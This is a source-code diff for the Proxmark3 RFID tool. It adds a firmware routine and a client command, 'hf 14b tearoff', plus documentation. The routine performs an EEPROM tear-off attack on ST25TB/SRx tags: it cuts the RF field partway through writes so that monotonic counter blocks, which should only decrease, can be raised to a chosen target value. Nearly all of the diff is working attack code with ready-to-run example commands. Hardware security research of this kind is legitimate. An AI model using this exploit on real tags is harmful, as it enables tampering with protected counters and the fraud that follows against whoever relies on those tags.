diff --git a/CHANGELOG.md b/CHANGELOG.md index f66da49df..b4bfed418 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) +- Fixed missing `WDT_HIT()` in `Get14443bAnswerFromTag()` DMA polling loop causing hardware watchdog reboot on SSC clock stall (@xNovyz) - Added `hf mfp dump` command (@apply-science) - Added `hf felica seacinfo` command (@kormax) - Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index aee4d8326..43c3e68ea 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1744,6 +1744,10 @@ static void PacketReceived(PacketCommandNG *packet) { setHf14bConfig(&c); break; } + case CMD_HF_ISO14443B_ST25TB_TEAROFF: { + ST25TB_TearOff(packet->data.asBytes); + break; + } case CMD_HF_CRYPTORF_SIM : { // simulate_crf_tag(); break; diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index ed726451c..eed18eed4 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -2622,6 +2622,462 @@ static void iso14b_set_trigger(bool enable) { g_trigger = enable; } +//============================================================================= +// ST25TB COUNTER TEAR-OFF IMPLEMENTATION +// Ported from near-field-chaos / hf_st25_tearoff standalone +//============================================================================= + +// Tear-off constants +#define TEAROFF_INITIAL_DELAY_US 150 +#define TEAROFF_MIN_DELAY_US 0 +#define TEAROFF_ADJUSTMENT_US_DEF 25 +#define TEAROFF_WRITE_RETRY_COUNT 30 +#define TEAROFF_CONSOLIDATE_READS 6 +#define TEAROFF_CONSOLIDATE_WAIT_RD 2 +#define TEAROFF_CONSOLIDATE_WAIT_MS 2000 + +// Bit manipulation macros +#define IS_ONE_BIT_T(value, index) ((value) & ((uint32_t)1 << (index))) +#define IS_ZERO_BIT_T(value, index) (!IS_ONE_BIT_T(value, index)) + +// Simple PRNG for randomization in tear-off value selection +static unsigned long s_tearoff_prng_seed = 1; +static int tearoff_rand(void) { + s_tearoff_prng_seed = s_tearoff_prng_seed * 1103515245 + 12345; + return (unsigned int)(s_tearoff_prng_seed / 65536) % 32768; +} + +// Quick field restart after tear-off (FPGA bitstream already loaded, buffers allocated). +// This is MUCH faster than full iso14443b_setup() since it skips: +// - FpgaDownloadAndGo (bitstream already cached) +// - BigBuf_free + BigBuf_calloc (demod buffers persist) +// - 100ms field stabilization (tag only needs ~20ms to power up) +static void tearoff_field_on(void) { + // Re-enable reader mode + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); +#ifdef RDV4 + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4); +#else + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD); +#endif + // Brief field stabilization — tag needs ~5-15ms to power on from RF + SpinDelay(20); + Demod14bReset(); + Uart14bReset(); + StartCountSspClk(); + iso14b_set_fwt(8); + s_field_on = true; +} + +static void tearoff_field_off(void) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); +} + +static void tearoff_exit(void) { + g_tearoff_enabled = false; + g_tearoff_delay_us = 0; + // Force a full FPGA bitstream reload on the next HF command. + // After hundreds of rapid field on/off cycles, the FPGA's internal + // state machine (SSC/DMA) can become corrupted even though its bitstream + // is technically loaded. Invalidating the cache forces FpgaDownloadAndGo() + // to do a complete re-initialization next time. + FpgaResetBitstream(); + switch_off(); + SpinDelay(20); + BigBuf_free_keep_EM(); + s_field_on = false; +} + +// Read a single ST25TB/SRx block with lightweight field cycle +static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) { + int res; + iso14b_card_select_t card; + + tearoff_field_on(); + + res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return res; + } + + uint8_t block[ISO14B_BLOCK_SIZE]; + res = read_14b_srx_block(block_address, block); + if (res == PM3_SUCCESS) { + *block_value = (uint32_t)block[0] | + ((uint32_t)block[1] << 8) | + ((uint32_t)block[2] << 16) | + ((uint32_t)block[3] << 24); + } + + tearoff_field_off(); + return res; +} + +// Low-level write command (no response expected for SRx write) +static int tearoff_cmd_write_block(uint8_t block_address, uint8_t *block) { + uint8_t cmd[] = {ISO14443B_WRITE_BLK, block_address, block[0], block[1], block[2], block[3], 0x00, 0x00}; + AddCrc14B(cmd, 6); + + uint32_t start_time = 0; + uint32_t eof_time = 0; + CodeAndTransmit14443bAsReader(cmd, sizeof(cmd), &start_time, &eof_time, true); + return PM3_SUCCESS; +} + +// Write a block then cut RF at precise timing for tear-off effect +static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us) { + + uint8_t block[ISO14B_BLOCK_SIZE]; + block[0] = (data & 0xFF); + block[1] = (data >> 8) & 0xFF; + block[2] = (data >> 16) & 0xFF; + block[3] = (data >> 24) & 0xFF; + + tearoff_field_on(); + + iso14b_card_select_t card; + int res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return; + } + + g_tearoff_enabled = true; + g_tearoff_delay_us = tearoff_delay_us; + + tearoff_cmd_write_block(block_address, block); + + if (tearoff_hook() == PM3_ETEAROFF) { + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); + } else { + // Fallback if hook didn't trigger for some reason + tearoff_field_off(); + } +} + +// Write then verify with retries +static int8_t tearoff_retry_write_verify(uint8_t block_address, uint32_t target_value, + uint32_t max_try_count, int sleep_time_ms, + uint32_t *read_back_value) { + uint32_t i = 0; + *read_back_value = ~target_value; + + while (*read_back_value != target_value && i < max_try_count) { + tearoff_write_block(block_address, target_value, 6000); // Long delay = reliable write + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + tearoff_read_block(block_address, read_back_value); + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + i++; + } + + return (*read_back_value == target_value) ? 0 : -1; +} + +// Check if a value is stable (consolidated) across multiple reads +static int8_t tearoff_is_consolidated(uint8_t block_address, uint32_t value, + int repeat_read, int sleep_time_ms, + uint32_t *read_value) { + int result; + for (int i = 0; i < repeat_read; i++) { + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + result = tearoff_read_block(block_address, read_value); + if (result != 0 || value != *read_value) { + return -1; + } + } + return 0; +} + +// Consolidate a block to a stable state with decrement writes +static int8_t tearoff_consolidate_block(uint8_t block_address, uint32_t current_value, + uint32_t target_value, uint32_t *read_back_value) { + int8_t result; + uint32_t consolidation_value; + + if (target_value <= 0xFFFFFFFD && current_value >= (target_value + 2)) { + consolidation_value = target_value + 2; + } else { + consolidation_value = current_value; + } + + result = tearoff_retry_write_verify(block_address, consolidation_value - 1, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 1 (write 0x%08X)", consolidation_value - 1); + return -1; + } + + if (*read_back_value != 0xFFFFFFFE || target_value == 0xFFFFFFFD) { + result = tearoff_retry_write_verify(block_address, consolidation_value - 2, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 2 (write 0x%08X)", consolidation_value - 2); + return -1; + } + } + + if (result == 0 && target_value > 0xFFFFFFFD && *read_back_value > 0xFFFFFFFD) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_READS, 0, read_back_value); + if (result == 0) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_WAIT_RD, + TEAROFF_CONSOLIDATE_WAIT_MS, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed stability check (long wait)"); + return -1; + } + } else { + Dbprintf("Consolidation failed stability check (short wait)"); + return -1; + } + } + + return 0; +} + +// Calculate next value to attempt for tear-off write +static uint32_t tearoff_next_value(uint32_t current_value, bool randomness) { + uint32_t value = 0; + int8_t index = 31; + + if (current_value < 0x0000FFFF) { + return (current_value > 0) ? current_value - 1 : 0; + } + + while (index >= 0) { + if (value == 0 && IS_ONE_BIT_T(current_value, index)) { + value = 0xFFFFFFFF >> (31 - index); + index--; + } + + if (value != 0 && IS_ZERO_BIT_T(current_value, index)) { + index++; + value &= ~((uint32_t)1 << index); + + if (randomness && value < 0xF0000000 && index > 1) { + value ^= ((uint32_t)1 << (tearoff_rand() % index)); + } + return value; + } + + index--; + } + + return (current_value > 0) ? current_value - 1 : 0; +} + +// Adjust tear-off timing +static void tearoff_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us) { + *tear_off_us -= tear_off_adjustment_us; + if (*tear_off_us < TEAROFF_MIN_DELAY_US) { + *tear_off_us = TEAROFF_MIN_DELAY_US; + } +} + +// Log tear-off attempt with binary representation +static void tearoff_log(int tear_off_us, const char *color, uint32_t value) { + char bin[33]; + for (int i = 31; i >= 0; i--) { + bin[31 - i] = IS_ONE_BIT_T(value, i) ? '1' : '0'; + } + bin[32] = '\0'; + Dbprintf("%s%08X%s : %s%s%s : %d us", color, value, "\033[0m", color, bin, "\033[0m", tear_off_us); +} + +// Payload structure for tear-off command +typedef struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; +} PACKED st25tb_tearoff_params_t; + +// Main ST25TB tear-off function, called from appmain.c +void ST25TB_TearOff(const uint8_t *data) { + const st25tb_tearoff_params_t *params = (const st25tb_tearoff_params_t *)data; + + uint8_t block_address = params->block_address; + uint32_t target_value = params->target_value; + uint32_t tear_off_adjustment_us = params->tear_off_adjustment_us; + uint32_t safety_value = params->safety_value; + uint32_t start_time_us = params->start_time_us; + + int result; + bool trigger = true; + + uint32_t read_value = 0; + uint32_t current_value = 0; + uint32_t last_consolidated_value = 0; + uint32_t tear_off_value = 0; + + // Start delay: user-specified or default 3000us (well within ~4ms EEPROM write window) + int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US; + if (tear_off_adjustment_us == 0) { + tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF; + } + + // One-time full setup: loads FPGA bitstream, allocates demod buffers, + // configures ADC mux and SSC. All subsequent field cycles use the + // lightweight tearoff_field_on/off which skip the heavy initialization. + iso14443b_setup(); + set_tracing(true); + tearoff_field_off(); // Start with field off, tearoff_read_block will turn it on + + // Initial read + result = tearoff_read_block(block_address, ¤t_value); + if (result != PM3_SUCCESS) { + Dbprintf("Initial read failed for block %d", block_address); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + tear_off_value = tearoff_next_value(current_value, false); + + Dbprintf(""); + Dbprintf(_CYAN_("ST25TB Tear-off counter attack")); + Dbprintf("------------------------------"); + Dbprintf(" Target block: %d", block_address); + Dbprintf("Current value: 0x%08X", current_value); + Dbprintf(" Target value: 0x%08X", target_value); + Dbprintf(" Safety value: 0x%08X", safety_value); + Dbprintf("Adjustment us: %u", tear_off_adjustment_us); + Dbprintf(""); + + if (current_value == target_value) { + Dbprintf(_GREEN_("Current value already matches target.")); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + if (tear_off_value == 0 && current_value != 0) { + Dbprintf("Tear-off technique not possible from current value."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + // Main tear-off loop + uint32_t loop_count = 0; + int consecutive_read_fails = 0; + + for (;;) { + WDT_HIT(); + loop_count++; + + // Send WTX keepalive every ~500 iterations to prevent USB timeout + // Each iteration takes ~1-10ms (select + write + read), so this + // fires roughly every 1-5 seconds. We request 10s extension each time. + if ((loop_count % 500) == 0) { + send_wtx(10000); + } + + // Check for user abort (button press or USB data) + if (BUTTON_PRESS() || data_available()) { + Dbprintf("Tear-off stopped by user."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_EOPABORTED, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Safety check + if (tear_off_value < safety_value) { + Dbprintf("Stopped. Safety threshold reached (next value 0x%08X < safety 0x%08X)", + tear_off_value, safety_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Perform tear-off write attempt + tearoff_write_block(block_address, tear_off_value, tear_off_us); + + // Read back + result = tearoff_read_block(block_address, &read_value); + if (result != 0) { + consecutive_read_fails++; + if (consecutive_read_fails > 10) { + Dbprintf("Read failed %d times consecutively. Is the tag present?", consecutive_read_fails); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + tear_off_us++; + continue; // Retry if read fails + } + consecutive_read_fails = 0; + + // Analyze result + if (read_value > current_value) { + // Partial write success (tear-off glitch worked) + if (read_value >= 0xFFFFFFFE || + (read_value - 2) > target_value || + read_value != last_consolidated_value || + ((read_value & 0xF0000000) > (current_value & 0xF0000000))) { + + result = tearoff_consolidate_block(block_address, read_value, + target_value, ¤t_value); + if (result == 0 && current_value == target_value) { + tearoff_log(tear_off_us, "\033[32m", read_value); + Dbprintf(""); + Dbprintf(_GREEN_("Target value 0x%08X reached successfully!"), target_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + if (read_value != last_consolidated_value) { + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + } + last_consolidated_value = read_value; + tear_off_value = tearoff_next_value(current_value, false); + trigger = true; + tearoff_log(tear_off_us, "\033[32m", read_value); + } + } else if (read_value == tear_off_value) { + // Full write went through (no tear-off effect) + if (trigger) { + tear_off_value = tearoff_next_value(tear_off_value, true); + trigger = false; + } else { + tear_off_value = tearoff_next_value(read_value, false); + trigger = true; + } + current_value = read_value; + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + tearoff_log(tear_off_us, "\033[34m", read_value); + } else if (read_value < tear_off_value) { + // Partial write but went lower + tear_off_value = tearoff_next_value(read_value, false); + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + current_value = read_value; + trigger = true; + tearoff_log(tear_off_us, "\033[31m", read_value); + } + + // Increment timing for next attempt + tear_off_us++; + } +} + + void SendRawCommand14443B(iso14b_raw_cmd_t *p) { // turn on trigger (LED_A) diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index c8b8629c1..0e509d000 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -49,6 +49,7 @@ int read_14b_srx_block(uint8_t blocknr, uint8_t *block); int iso14443b_select_srx_card(iso14b_card_select_t *card); void SniffIso14443b(void); void SendRawCommand14443B(iso14b_raw_cmd_t *p); +void ST25TB_TearOff(const uint8_t *data); void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing); // 14b config diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 37ecb2297..b605f5c7d 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -3192,6 +3192,135 @@ static int CmdHF14BMobibRead(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14BSriTearoff(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 14b tearoff", + "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks.\n" + "This exploits EEPROM tearing to increment counters that normally can only\n" + "be decremented. Based on the near-field-chaos project by SecLabz.\n" + "\n" + "The attack works by sending a write command and cutting the RF field at\n" + "a precise moment, causing a partial write that can raise the counter value.\n" + "The operation usually takes a few seconds to a few minutes.\n" + "\n" + " NOTE: 0xFFFFFFFE values may be unstable due to tag internals.\n" + " Keep the tag positioned steadily on the antenna.\n", + "hf 14b tearoff -b 5 -d FFFFFFFE\n" + "hf 14b tearoff -b 6 -d FFFFFFFE\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_int1("b", "block", "", "block number (typically 5 or 6 for ST25TB counters)"), + arg_str1("d", "data", "", "target counter value (4 hex bytes, e.g. FFFFFFFE)"), + arg_int0(NULL, "adj", "", "tear-off timing step in us (default: 25)"), + arg_int0(NULL, "safety", "", "safety threshold value (default: 0x1000)"), + arg_int0(NULL, "start", "", "initial tear-off delay in us (default: 150)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int blockno = arg_get_int_def(ctx, 1, -1); + + int dlen = 0; + uint8_t data[4] = {0}; + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int adj = arg_get_int_def(ctx, 3, 0); + int safety = arg_get_int_def(ctx, 4, 0x1000); + int start = arg_get_int_def(ctx, 5, 0); + CLIParserFree(ctx); + + if (dlen != 4) { + PrintAndLogEx(FAILED, "target value must be 4 hex bytes, got %d", dlen); + return PM3_EINVARG; + } + + if (blockno < 0 || blockno > 255) { + PrintAndLogEx(FAILED, "block number must be 0-255, got %d", blockno); + return PM3_EINVARG; + } + + // Convert data bytes to uint32_t (little-endian as per ST25TB convention) + uint32_t target_value = (uint32_t)data[0] << 24 | + (uint32_t)data[1] << 16 | + (uint32_t)data[2] << 8 | + (uint32_t)data[3]; + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("ST25TB Tear-off Attack") " ---------"); + PrintAndLogEx(INFO, " block............. " _YELLOW_("%d"), blockno); + PrintAndLogEx(INFO, " target value...... " _YELLOW_("0x%08X"), target_value); + PrintAndLogEx(INFO, " start delay....... " _YELLOW_("%d") " us", start > 0 ? start : 150); + PrintAndLogEx(INFO, " timing step....... " _YELLOW_("%d") " us", adj > 0 ? adj : 25); + PrintAndLogEx(INFO, " safety threshold.. " _YELLOW_("0x%04X"), safety); + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("Enter") " to abort"); + PrintAndLogEx(INFO, ""); + + // Build payload (must match st25tb_tearoff_params_t on ARM side) + struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; + } PACKED payload; + + payload.block_address = (uint8_t)blockno; + payload.target_value = target_value; + payload.tear_off_adjustment_us = (uint32_t)adj; + payload.safety_value = (uint32_t)safety; + payload.start_time_us = (uint32_t)start; + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO14443B_ST25TB_TEAROFF, (uint8_t *)&payload, sizeof(payload)); + + // Wait for response with generous timeout. + // The ARM side sends periodic CMD_WTX keepalive packets to extend + // the timeout, so the attack can run as long as needed. + // Use -1 for infinite wait (extended via WTX), abort with Enter key. + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_ISO14443B_ST25TB_TEAROFF, &resp, -1) == false) { + PrintAndLogEx(WARNING, "command failed or connection lost"); + return PM3_ETIMEOUT; + } + + if (resp.status == PM3_SUCCESS) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(SUCCESS, "Tear-off attack " _GREEN_("successful")); + PrintAndLogEx(SUCCESS, "Final block value: " _GREEN_("0x%08X"), final_value); + } else if (resp.status == PM3_EOPABORTED) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(WARNING, "Tear-off attack " _YELLOW_("aborted by user")); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } else { + PrintAndLogEx(FAILED, "Tear-off attack " _RED_("failed")); + if (resp.length >= sizeof(uint32_t)) { + uint32_t final_value = 0; + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } + } + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(HINT, "Hint: use " _YELLOW_("`hf 14b rdbl -b %d`") " to verify the block", blockno); + return PM3_SUCCESS; +} + static int CmdHF14BSetUID(const char *Cmd) { CLIParserContext *ctx; @@ -3288,6 +3417,7 @@ static command_t CommandTable[] = { {"sim", CmdHF14BSim, IfPm3Iso14443b, "Fake ISO ISO-14443-B tag"}, {"sniff", CmdHF14BSniff, IfPm3Iso14443b, "Eavesdrop ISO-14443-B"}, {"wrbl", CmdHF14BSriWrbl, IfPm3Iso14443b, "Write data to a SRI512/SRIX4 tag"}, + {"tearoff", CmdHF14BSriTearoff, IfPm3Iso14443b, "Tear-off attack on ST25TB/SRx counter blocks"}, {"view", CmdHF14BView, AlwaysAvailable, "Display content from tag dump file"}, {"valid", CmdSRIX4kValid, AlwaysAvailable, "SRIX4 checksum test"}, {"---------", CmdHelp, AlwaysAvailable, "------------------ " _CYAN_("Calypso / Mobib") " ------------------"}, diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 211b3efc8..788eefe16 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -177,6 +177,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 14b sim" }, { 0, "hf 14b sniff" }, { 0, "hf 14b wrbl" }, + { 0, "hf 14b tearoff" }, { 1, "hf 14b view" }, { 1, "hf 14b valid" }, { 0, "hf 14b calypso" }, diff --git a/doc/commands.json b/doc/commands.json index d076de051..8447d899b 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -1680,6 +1680,26 @@ ], "usage": "hf 14b sniff [-h]" }, + "hf 14b tearoff": { + "command": "hf 14b tearoff", + "description": "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented. Based on the near-field-chaos project by SecLabz. The attack works by sending a write command and cutting the RF field at a precise moment, causing a partial write that can raise the counter value. The operation usually takes a few seconds to a few minutes. NOTE: 0xFFFFFFFE values may be unstable due to tag internals. Keep the tag positioned steadily on the antenna.", + "notes": [ + "hf 14b tearoff -b 5 -d FFFFFFFE", + "hf 14b tearoff -b 6 -d FFFFFFFE", + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50", + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-b, --block block number (typically 5 or 6 for ST25TB counters)", + "-d, --data target counter value (4 hex bytes, e.g. FFFFFFFE)", + "--adj tear-off timing step in us (default: 25)", + "--safety safety threshold value (default: 0x1000)", + "--start initial tear-off delay in us (default: 150)" + ], + "usage": "hf 14b tearoff [-h] -b -d [--adj ] [--safety ] [--start ]" + }, "hf 14b valid": { "command": "hf 14b valid", "description": "SRIX checksum test", diff --git a/doc/commands.md b/doc/commands.md index dd90a58ae..58e8ecf03 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -228,6 +228,7 @@ Check column "offline" for their availability. |`hf 14b sim `|N |`Fake ISO ISO-14443-B tag` |`hf 14b sniff `|N |`Eavesdrop ISO-14443-B` |`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag` +|`hf 14b tearoff `|N |`Tear-off attack on ST25TB/SRx counter blocks` |`hf 14b view `|Y |`Display content from tag dump file` |`hf 14b valid `|Y |`SRIX4 checksum test` |`hf 14b calypso `|N |`Read contents of a Calypso card` diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index ca02840cc..37b881be4 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -775,6 +775,7 @@ typedef struct { #define CMD_HF_ISO14443B_PRINT_CONFIG 0x03D0 #define CMD_HF_ISO14443B_GET_CONFIG 0x03D1 #define CMD_HF_ISO14443B_SET_CONFIG 0x03D2 +#define CMD_HF_ISO14443B_ST25TB_TEAROFF 0x03D3 // For measurements of the antenna tuning #define CMD_MEASURE_ANTENNA_TUNING 0x0400